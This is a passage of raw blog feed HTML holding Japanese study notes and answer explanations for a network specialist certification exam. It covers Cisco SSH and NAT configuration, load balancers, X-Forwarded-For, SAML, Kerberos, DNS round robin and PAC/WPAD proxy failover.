ssh ユーザ名@IPアドレス" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F8F8F2">en</span></span>
<span class="line"><span style="color: #F8F8F2">conf t</span></span>
<span class="line"><span style="color: #F8F8F2">hostname ホスト名</span></span>
<span class="line"><span style="color: #F8F8F2">ip domain name ドメイン名</span></span>
<span class="line"><span style="color: #F8F8F2">ip ssh version </span><span style="color: #AE81FF">2</span></span>
<span class="line"><span style="color: #F8F8F2">crypto key generate rsa modulus </span><span style="color: #AE81FF">1024</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">line vty </span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">4</span></span>
<span class="line"><span style="color: #F8F8F2">login local</span></span>
<span class="line"><span style="color: #F8F8F2">transport input telnet ssh</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#接続時（PC側にて）</span></span>
<span class="line"><span style="color: #F8F8F2">ssh ユーザ名@IPアドレス</span></span></code></pre></div>



<h3 class="wp-block-heading"><span id="toc45">p.15 Q.ソースNATとは？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="757" height="80" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-102.png" alt="" class="wp-image-8280" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-102.png 757w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-102-300x32.png 300w" sizes="(max-width: 757px) 100vw, 757px" /></figure>



<p class="wp-block-paragraph">NATにはSNAT、DNAT、スタティックNAT、ダイナミックNAT、NAPTなどの複数の種類があり混乱を引き起こしてしまう。しかし、大きく分けて２つの軸で分類するとわかりやすくなるので一緒に見ていこう！</p>



<p class="wp-block-paragraph"><strong>▼NATの全体像</strong></p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">PowerShell</span><span role="button" tabindex="0" data-code="【軸A：何を書き換えるか？】
 ├── SNAT（Source NAT）     ：送信元IPを書き換える
 └── DNAT（Destination NAT）：宛先IPを書き換える

【軸B：どう割り当てるか？】
 ├── スタティックNAT（Static） ：1対1で「固定」変換
 ├── ダイナミックNAT（Dynamic）：プールした複数のIPから「動的」に割り当て
 └── NAPT（IPマスカレード/PAT）：IP＋「ポート番号」を使って1つのIPを複数台で共有" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F8F8F2">【軸A：何を書き換えるか？】</span></span>
<span class="line"><span style="color: #F8F8F2"> ├── SNAT（Source NAT）     ：送信元IPを書き換える</span></span>
<span class="line"><span style="color: #F8F8F2"> └── DNAT（Destination NAT）：宛先IPを書き換える</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">【軸B：どう割り当てるか？】</span></span>
<span class="line"><span style="color: #F8F8F2"> ├── スタティックNAT（</span><span style="color: #F92672">Static</span><span style="color: #F8F8F2">） ：1対1で「固定」変換</span></span>
<span class="line"><span style="color: #F8F8F2"> ├── ダイナミックNAT（Dynamic）：プールした複数のIPから「動的」に割り当て</span></span>
<span class="line"><span style="color: #F8F8F2"> └── NAPT（IPマスカレード</span><span style="color: #F92672">/</span><span style="color: #F8F8F2">PAT）：IP＋「ポート番号」を使って1つのIPを複数台で共有</span></span></code></pre></div>



<h4 class="wp-block-heading"><span id="toc46">Q.SNATとDNATの違いは？</span></h4>



<p class="wp-block-paragraph">SNATとDNATの区別がよくわからない。。だって、行きの通信で宛先をプライベートIPに変換するDNATをするとするじゃん。で、そのパケットが返ってくるときは、送信元をグローバルIPにして返信するじゃん？要はSNATをしているのでは？ということはDNATをやればSNATが必然的に実行されるってこと？</p>



<p class="wp-block-paragraph">A.DNATの戻りパケットはSNATとは呼ばずDNATの逆変換と解釈する。帰りのパケットで送信元IPが変わっているが、これはあくまで「行きのDNATの対となる自動処理」であるため、技術的には「SNATを実行した」とは言わず、全体として「DNAT通信（の復路）」と呼ぶ。<br>これはSNATも同じ。帰りでは宛先を変換するがこれはDNATとは呼ばずに単なる「行きのSNATの対となる自動処理」。</p>



<h4 class="wp-block-heading"><span id="toc47">Q.SNATとDNATのコマンドの違いは？</span></h4>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Hjson</span><span role="button" tabindex="0" data-code="▼SNAT
(config)# ip nat inside source list &lt;ACL&gt; pool &lt;POOL名&gt; overload

▼DNAT
(config)# ip nat inside destination list &lt;ACL&gt; pool &lt;SERVER_POOL名&gt;" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #E6DB74">▼SNAT</span></span>
<span class="line"><span style="color: #E6DB74">(config)# ip nat inside source list &lt;ACL&gt; pool &lt;POOL名&gt; overload</span></span>
<span class="line"></span>
<span class="line"><span style="color: #E6DB74">▼DNAT</span></span>
<span class="line"><span style="color: #E6DB74">(config)# ip nat inside destination list &lt;ACL&gt; pool &lt;SERVER_POOL名&gt;</span></span></code></pre></div>



<h3 class="wp-block-heading"><span id="toc48">p.16 Q.なんで運用PCからECサーバへ通信できないの？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="763" height="161" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-110.png" alt="" class="wp-image-8293" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-110.png 763w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-110-300x63.png 300w" sizes="(max-width: 763px) 100vw, 763px" /></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="707" height="360" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-109.png" alt="" class="wp-image-8292" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-109.png 707w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-109-300x153.png 300w" sizes="(max-width: 707px) 100vw, 707px" /></figure>



<p class="wp-block-paragraph">本文中にもある通り、LBは<span class="bold-blue">ルータとしては機能しない</span>。要はVIP宛ての通信のみセッションテーブルに記録して負荷分散を実施する。<br>しかし、運用PCとECサーバとの通信はVIP宛てになる瞬間がないので<span class="bold-blue">セッションテーブルに記録されておらず</span>宛先が分からず、ECサーバから運用PCへの復路パケットはLBで破棄される。</p>



<p class="wp-block-paragraph">＊ちなみに👇より、運用PCサブネット(192.168.0.0/24)とz-DCのサブネット(192.168.1.0/24)は異なるため、ECサーバは必然的にデフォルトルートであるLBに送らざるを得ない。もし、運用PCとECサーバが同一サブネット内であればデフォルトルートを経由しないため、運用PCとECサーバでの通信が可能になる。</p>



<h3 class="wp-block-heading"><span id="toc49">p.16 Q.X-Forwarded-Forとは？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="673" height="96" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-112.png" alt="" class="wp-image-8296" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-112.png 673w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-112-300x43.png 300w" sizes="(max-width: 673px) 100vw, 673px" /></figure>



<p class="wp-block-paragraph">SNATを実施する機器にて、本来の送信元を保持するためのHTTP拡張機能。<br>SNATをすると送信元が変わってしまう。そのままだと受信はすべてのパケットがSNAT変換されたIPになってしまい、ログ解析・フィルタリングなどの送信元IPを使った機能が無駄になってしまう。<br>そこで、<span class="bold-blue">X-Forwarded-For</span>というHTTP拡張機能を使うことで、SNATを実施してもHTTP拡張ヘッダーの中に本来の送信元を記載してパケットを転送する。そうすることで受信側は、X-Forwarded-Forに格納されているIPを対象にフィルタリング・ログ解析等を実施することができるようになる。</p>



<h3 class="wp-block-heading"><span id="toc50">p.18 Q.SAML2.0ってなに？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="778" height="236" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-116.png" alt="" class="wp-image-8302" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-116.png 778w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-116-300x91.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-116-765x232.png 765w" sizes="(max-width: 778px) 100vw, 778px" /></figure>



<p class="wp-block-paragraph"><span class="bold-blue">SAML（SecurityAssertionMarkupLanguate2.0）</span>とは「異なるシステム間で安全にシングルサインオン（SSO）を実現するための共通ルール（標準規格）。<br>サービスごとにIDやパスワードを管理するのではなく、IdP（アカウントを一元管理するサーバー）に認証を任せる。IdPから『この人は本人だよ』という証明書（SAMLアサーション）が届くことでログインを許可するため、サービス側でパスワードを保持・管理する必要がなくなり、運用負荷や漏洩リスクを大幅に減らせる。</p>



<h3 class="wp-block-heading"><span id="toc51">p.19 Q.ケルベロスって何？</span></h3>



<p class="wp-block-paragraph">ケルベロス認証とは社内のSSOをサポートする仕組みである。ケルベロス認証が生まれた最大の理由・メリットは以下の3点。</p>



<ol start="1" class="wp-block-list">
<li><strong>生パスワードをネットワーク上に絶対に流さない（★最大のメリット）</strong><br>パスワードそのものはクライアント側で暗号キーを作るためだけに使い、通信上には暗号化されたチケットやセッション鍵しか流れない。</li>



<li><strong>社内ネットワークでのシングルサインオン（SSO）の実現</strong> <br>朝PCにログイン（TGTを取得）してしまえば、社内のファイルサーバーやWEBサーバーにアクセスする際、ユーザーは二度とパスワードを入力する必要がない。</li>



<li><strong>リプレイ攻撃（盗聴・再利用）の防止</strong><br>Authenticatorに含まれるタイムスタンプ（通常5分以内の誤差のみ許容）があるため、途中で通信を盗聴されてパケットをそのまま再送信されても、サーバー側で拒否できる。</li>
</ol>



<p class="wp-block-paragraph"><strong>▼ケルベロス認証のフロー</strong></p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Hjson</span><span role="button" tabindex="0" data-code="【第1段階：AS（認証サーバー）とのやり取り】
クライアント ──(ID送付)──&gt; AS
クライアント &lt;──(TGT + TGSセッション鍵)── AS
※ TGSセッション鍵は「ユーザーのパスワード由来の鍵」で暗号化されている。
※ クライアントはパスワードで解凍して「TGSセッション鍵」を取得。

【第2段階：TGS（チケット交付サーバー）とのやり取り】
クライアント ──(TGT + Authenticator A)──&gt; TGS
※ Authenticator A は「TGSセッション鍵」で暗号化（タイムスタンプ入り）。
クライアント &lt;──(ST + サービスセッション鍵)── TGS
※ サービスセッション鍵は「TGSセッション鍵」で暗号化されている。
※ クライアントは「TGSセッション鍵」で解凍して「サービスセッション鍵」を取得。

【第3段階：サービスサーバー（ECサーバー等）とのやり取り】
クライアント ──(ST + Authenticator B)──&gt; サービスサーバー
※ Authenticator B は「サービスセッション鍵」で暗号化（タイムスタンプ入り）。
※ サービスサーバーはSTを自身の秘密鍵で復号し、「サービスセッション鍵」を取り出して Authenticator B を検証。" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #E6DB74">【第1段階：AS（認証サーバー）とのやり取り】</span></span>
<span class="line"><span style="color: #E6DB74">クライアント ──(ID送付)──&gt; AS</span></span>
<span class="line"><span style="color: #E6DB74">クライアント &lt;──(TGT + TGSセッション鍵)── AS</span></span>
<span class="line"><span style="color: #E6DB74">※ TGSセッション鍵は「ユーザーのパスワード由来の鍵」で暗号化されている。</span></span>
<span class="line"><span style="color: #E6DB74">※ クライアントはパスワードで解凍して「TGSセッション鍵」を取得。</span></span>
<span class="line"></span>
<span class="line"><span style="color: #E6DB74">【第2段階：TGS（チケット交付サーバー）とのやり取り】</span></span>
<span class="line"><span style="color: #E6DB74">クライアント ──(TGT + Authenticator A)──&gt; TGS</span></span>
<span class="line"><span style="color: #E6DB74">※ Authenticator A は「TGSセッション鍵」で暗号化（タイムスタンプ入り）。</span></span>
<span class="line"><span style="color: #E6DB74">クライアント &lt;──(ST + サービスセッション鍵)── TGS</span></span>
<span class="line"><span style="color: #E6DB74">※ サービスセッション鍵は「TGSセッション鍵」で暗号化されている。</span></span>
<span class="line"><span style="color: #E6DB74">※ クライアントは「TGSセッション鍵」で解凍して「サービスセッション鍵」を取得。</span></span>
<span class="line"></span>
<span class="line"><span style="color: #E6DB74">【第3段階：サービスサーバー（ECサーバー等）とのやり取り】</span></span>
<span class="line"><span style="color: #E6DB74">クライアント ──(ST + Authenticator B)──&gt; サービスサーバー</span></span>
<span class="line"><span style="color: #E6DB74">※ Authenticator B は「サービスセッション鍵」で暗号化（タイムスタンプ入り）。</span></span>
<span class="line"><span style="color: #E6DB74">※ サービスサーバーはSTを自身の秘密鍵で復号し、「サービスセッション鍵」を取り出して Authenticator B を検証。</span></span></code></pre></div>



<p class="wp-block-paragraph"><br></p>



<p class="wp-block-paragraph"><br></p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>令和5年（2023年）ネスペ午後Ⅱ　問Ⅰ　解答解説</title>
		<link>https://ascend-beyond.com/study/8194/</link>
		
		<dc:creator><![CDATA[管理人]]></dc:creator>
		<pubDate>Sat, 19 Sep 2026 01:46:44 +0000</pubDate>
				<category><![CDATA[Study]]></category>
		<category><![CDATA[ネスペ]]></category>
		<guid isPermaLink="false">https://ascend-beyond.com/?p=8194</guid>

					<description><![CDATA[設問１ （１）DNSラウンドロビン １つのドメイン名に対して複数のIPアドレスを割り当てることをDNSラウンドロビンという。▼具体的な挙動例えば、同一ドメインに対して3つのAレコード（IPアドレス（IP-1, IP-2, [&#8230;]]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading"><span id="toc1">設問１</span></h2>



<h3 class="wp-block-heading"><span id="toc2">（１）DNSラウンドロビン</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="812" height="82" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-63.png" alt="" class="wp-image-8216" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-63.png 812w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-63-300x30.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-63-762x77.png 762w" sizes="(max-width: 812px) 100vw, 812px" /></figure>



<p class="wp-block-paragraph">１つのドメイン名に対して複数のIPアドレスを割り当てることを<span class="bold-blue">DNSラウンドロビン</span>という。<br><strong>▼具体的な挙動</strong><br>例えば、同一ドメインに対して3つのAレコード（IPアドレス（IP-1, IP-2, IP-3））が登録されている場合、DNSサーバは以下のように応答する。</p>



<p class="wp-block-paragraph"><strong>1回目の問い合わせ</strong>：<code>[ IP-1, IP-2, IP-3 ]</code> の順番で返す<br><strong>2回目の問い合わせ</strong>：<code>[ IP-2, IP-3, IP-1 ]</code> の順番で返す<br><strong>3回目の問い合わせ</strong>：<code>[ IP-3, IP-1, IP-2 ]</code> の順番で返す</p>



<p class="wp-block-paragraph">1件だけ返してしまうと、そのサーバが死んでいた場合にPCは通信不能になる。複数件まとめて返しておけば、PCは「先頭のIP（例: IP-1）に接続を試みてタイムアウトしたら、2番目のIP（例: IP-2）へ自動的に再接続する」という動作ができるため、クライアント側での簡易的な障害回避が可能になる。<br></p>



<h3 class="wp-block-heading"><span id="toc3">（３）192.168.2.145</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="752" height="91" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-60.png" alt="" class="wp-image-8213" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-60.png 752w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-60-300x36.png 300w" sizes="(max-width: 752px) 100vw, 752px" /></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="679" height="99" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-61.png" alt="" class="wp-image-8214" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-61.png 679w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-61-300x44.png 300w" sizes="(max-width: 679px) 100vw, 679px" /></figure>



<p class="wp-block-paragraph">切り替え後、つまり障害が発生した際にはどのプロキシサーバを使うかが聞かれている。<br>案１を見ると、通常時はB（192.168.1.145)が使われて、障害時はCに切り替えると書かれているのでCのIPアドレスである<span class="bold-blue">192.168.2.145</span>を指定することが推測される。</p>



<h4 class="wp-block-heading"><span id="toc4">＊注意！案２でもDNSのIPアドレス変更は必須</span></h4>



<figure class="wp-block-image size-full"><img decoding="async" width="759" height="59" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-65.png" alt="" class="wp-image-8222" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-65.png 759w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-65-300x23.png 300w" sizes="(max-width: 759px) 100vw, 759px" /></figure>



<p class="wp-block-paragraph">正直、案２の場合はDNSを書き換えなくても、クライアントには複数レコードが配られるので自動でフェイルオーバーできるから書き換える必要はないのでは？？という発想が生まれる。<br>しかし、クライアント側に自動フェイルオーバーがない場合はアクセスできなくなってしまう。また、もしもフェイルオーバー機能があったとしても、障害発生プロキシのIPが先頭の状態で届いたクライアントは確実に１回はアクセスできないサーバにアクセスしなければならず、それは非効率。<br>そのため、ワンちゃんフェイルオーバー機能で通信できるかもしれないけど、ユーザに迷惑をかける確率の方が高いので障害が起きたらしっかりとDNS設定を変更しようよね！ということ。</p>



<h3 class="wp-block-heading"><span id="toc5">（５）方法：プロキシ自動設定機能を利用する　制限事項：対応するPCやサーバでしか利用できない</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="724" height="78" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-64.png" alt="" class="wp-image-8221" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-64.png 724w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-64-300x32.png 300w" sizes="(max-width: 724px) 100vw, 724px" /></figure>



<p class="wp-block-paragraph">では、一つずつ分解しながら回答を導いていこう！</p>



<h4 class="wp-block-heading"><span id="toc6">Q.DNSとは異なる方法とは？</span></h4>



<figure class="wp-block-image size-full"><img decoding="async" width="542" height="124" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-66.png" alt="" class="wp-image-8223" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-66.png 542w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-66-300x69.png 300w" sizes="(max-width: 542px) 100vw, 542px" /></figure>



<p class="wp-block-paragraph">「<span class="bold-blue">DNSとは異なる方法</span>」とは、DNSゾーンファイルの書き換えを行わずに、端末自身に即座に正常なプロキシへ切り替えさせることを意味している。指している。</p>



<h4 class="wp-block-heading"><span id="toc7">Q.プロキシサーバを利用する側の環境とは？</span></h4>



<figure class="wp-block-image size-full"><img decoding="async" width="539" height="113" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-67.png" alt="" class="wp-image-8224" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-67.png 539w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-67-300x63.png 300w" sizes="(max-width: 539px) 100vw, 539px" /></figure>



<p class="wp-block-paragraph">「<span class="bold-blue">プロキシサーバを利用する側の環境</span>」とは、つまりプロキシサーバを使うユーザ/クライアント側の環境を意味する</p>



<h4 class="wp-block-heading"><span id="toc8">Q.そもそもユーザはどうやってホスト名を知っているの？</span></h4>



<figure class="wp-block-image size-full"><img decoding="async" width="504" height="59" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-69.png" alt="" class="wp-image-8226" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-69.png 504w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-69-300x35.png 300w" sizes="(max-width: 504px) 100vw, 504px" /></figure>



<p class="wp-block-paragraph">「従業員が指定するホスト」と書かれているが、もしもこれがユーザの持つPACファイルに書かれた情報をもとにしているのであれば、WPADなんか使わずに、最初からこのPACファイルに負荷分散をするJavaScriptを書けばいいのでは？</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="#負荷分散ができるJavaScript
function FindProxyForURL(url, host) {
    // クライアントのランダム値で50%の確率で優先順位を反転
    if (Math.random() &lt; 0.5) {
        return &quot;PROXY ProxyB:8080; PROXY ProxyC:8080&quot;;
    } else {
        return &quot;PROXY ProxyC:8080; PROXY ProxyB:8080&quot;;
    }
}" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F">#負荷分散ができるJavaScript</span></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">function</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">FindProxyForURL</span><span style="color: #F8F8F2">(</span><span style="color: #A6E22E">url,</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">host</span><span style="color: #F8F8F2">) {</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #A6E22E">//</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">クライアントのランダム値で50%の確率で優先順位を反転</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> (</span><span style="color: #A6E22E">Math.random</span><span style="color: #F8F8F2">() &lt; 0.5) {</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;PROXY ProxyB:8080; PROXY ProxyC:8080&quot;</span><span style="color: #F8F8F2">;</span></span>
<span class="line"><span style="color: #F8F8F2">    } </span><span style="color: #F92672">else</span><span style="color: #F8F8F2"> {</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;PROXY ProxyC:8080; PROXY ProxyB:8080&quot;</span><span style="color: #F8F8F2">;</span></span>
<span class="line"><span style="color: #F8F8F2">    }</span></span>
<span class="line"><span style="color: #F8F8F2">}</span></span></code></pre></div>



<p class="wp-block-paragraph">A.結論として、元々はPACファイルではなく、<span class="bold-blue">ブラウザにホスト名が直接設定されている</span>状態である。PCのキッティング時やActive Directoryのグループポリシー（GPO）によって、ブラウザの「プロキシ設定」の項目に、手動設定の形で <code>proxy.a-sha.co.jp:8080</code> と<span class="bold-blue">直書きされている</span>。したがって、クライアントは通信のたびに <code>proxy.a-sha.co.jp</code> のIPアドレスをDNSに問い合わせをしている。</p>



<h4 class="wp-block-heading"><span id="toc9">結論</span></h4>



<p class="wp-block-paragraph">以上の点から、PACファイルを動的に配ることができれば、ブラウザに直書きの情報ではなくPACによる制御に変えられる。PACには以下のようなプロキシを負荷分散できるJavaScriptを書くことができるので、PACファイルさえ配れれば案２を満たすことができる。<br>そして先ほどから挙がるプロキシを動的に配る方法こそが<span class="bold-blue">プロキシ自動設定機能（WPAD:WebProxyAuto-Discovery）</span>である。これはプロキシをDNSやDHCPなどの機能を使って配布する方法である。しかし、そもそもの前提として、これをWPADを利用するには、プロキシを利用するクライアント端末（OS、ブラウザ、アプリ）側が、<span class="bold-blue">PACファイル（JavaScript）を実行・解釈する機能を持っている必要がある</span>。つまりは対応するPCやサーバでしか利用できないということ。</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="#負荷分散ができるJavaScript
function FindProxyForURL(url, host) {
    // クライアントのランダム値で50%の確率で優先順位を反転
    if (Math.random() &lt; 0.5) {
        return &quot;PROXY ProxyB:8080; PROXY ProxyC:8080&quot;;
    } else {
        return &quot;PROXY ProxyC:8080; PROXY ProxyB:8080&quot;;
    }
